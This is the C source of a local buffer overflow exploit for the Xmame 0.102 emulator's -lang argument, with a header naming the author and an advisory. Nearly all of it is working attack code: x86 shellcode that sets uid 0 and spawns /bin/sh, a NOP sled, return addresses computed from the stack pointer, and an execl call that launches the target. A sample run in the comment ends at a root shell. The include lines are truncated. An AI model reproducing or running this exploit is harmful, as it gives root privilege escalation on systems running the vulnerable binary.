/*
Xmame 0.102 (-lang) Local Buffer Overflow Exploit
Coded BY Qnix
Qnix@bsdmail.org
#0x11 @EFNET
icq : 234263
0x11.org
Advisory : http://kerneltrap.org/node/6055
e.g:
Qnix ~ # ./exploit /usr/games/bin/xmame.x11
**************************************************
Xmame 0.102 (-lang) Local Buffer Overflow Exploit
Coded BY Qnix
**************************************************
(~) Stack pointer (ESP) : 0xbffff688
(~) Offset from ESP : 0x0
(~) Desired Return Addr : 0xbffff688
GLINFO: loaded OpenGL library libGL.so!
GLINFO: loaded GLU library libGLU.so!
GLINFO: glPolygonOffsetEXT (2): not implemented !
info: trying to parse: /usr/share/games/xmame/xmamerc
info: trying to parse: /root/.xmame/xmamerc
info: trying to parse: /usr/share/games/xmame/xmame-x11rc
info: trying to parse: /root/.xmame/xmame-x11rc
info: trying to parse: /usr/share/games/xmame/rc/robbyrc
info: trying to parse: /root/.xmame/rc/robbyrc
sh-3.00#
*/
#include
#include
#define BUFSIZE 1057
#define NS 600
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";
unsigned long sp(void)
{ __asm__("movl %esp, %eax");}
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 0;
esp = sp();
ret = esp - offset;
if(argc < 2 || argc != 2)
{
fprintf(stderr,"%s \n",argv[0]);
return(0);
}
fprintf(stdout,"**************************************************\n");
fprintf(stdout,"Xmame 0.102 (-lang) Local Buffer Overflow Exploit\n");
fprintf(stdout,"Coded BY Qnix\n");
fprintf(stdout,"**************************************************\n\n");
fprintf(stdout,"\t(~) Stack pointer (ESP) : 0x%x\n", esp);
fprintf(stdout,"\t(~) Offset from ESP : 0x%x\n", offset);
fprintf(stdout,"\t(~) Desired Return Addr : 0x%x\n\n", ret);
buffer = malloc(BUFSIZE);
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < BUFSIZE; i+=4)
{ *(addr_ptr++) = ret; }
for(i=0; i < NS; i++)
{ buffer[i] = '\x90'; }
ptr = buffer + NS;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
buffer[BUFSIZE-1] = 0;
execl(argv[1], "xmame.x11", "-lang", buffer, 0);
free(buffer);
return(0);
}
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